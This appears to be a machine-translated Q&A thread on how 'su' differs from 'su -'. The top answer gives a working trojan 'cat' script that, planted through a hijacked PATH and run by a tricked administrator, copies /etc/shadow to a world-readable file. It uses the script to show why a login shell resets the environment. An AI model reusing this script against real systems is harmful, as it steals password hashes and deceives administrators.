wag*_*wag 270
su -切换用户后调用登录shell。登录 shell 会重置大多数环境变量,从而提供一个干净的基础。
su 只是切换用户,提供一个普通 shell,其环境与旧用户几乎相同。
想象一下,您是一名软件开发人员,拥有对机器的普通用户访问权限,而您无知的管理员不会授予您 root 访问权限。让我们(希望)欺骗他。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Run Code Online (Sandbox Code Playgroud)
现在,你问你的管理员为什么你不能cat在你的主文件夹中创建虚拟文件,它就是行不通!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Run Code Online (Sandbox Code Playgroud)
如果您的管理员不那么聪明或有点懒惰,他可能会来到您的办公桌前尝试使用他的超级用户权限:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Run Code Online (Sandbox Code Playgroud)
哇!谢谢,超级管理员!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Run Code Online (Sandbox Code Playgroud)
呵呵。
您可能注意到损坏的$PATH变量没有被重置。如果管理员su -改为调用,则不会发生这种情况。
Mik*_*kel 36
su -将您完全以 root 身份登录,而su让您假装是 root。
这方面最明显的例子是,~是根的主目录,如果你使用的su -,而是你自己的主目录,如果你使用su。
根据您的系统,它也可能意味着提示PATH、 或历史文件的差异。
因此,如果您是管理系统的团队的一员,并且您的同事给了您一个运行命令,那么您知道如果您都使用su -,它的工作方式相同,但是如果您都使用su,则可能存在差异,因为您有不同的外壳配置。
另一方面,如果您想以 root 身份运行命令但使用您自己的配置,那么也许su对您更好。
也不要忘记 about sudo,它可以-s选择启动以 root 身份运行的 shell。当然,这也有不同的规则,它们会根据您使用的发行版而变化。
小智 7
主要区别是:
su - username设置 shell 环境,就好像它是指定用户的干净登录一样,它访问并使用指定的用户环境变量,
su username只需为指定用户启动一个具有当前环境设置的 shell。
如果未使用su和指定用户名su -,则默认使用 root 帐户。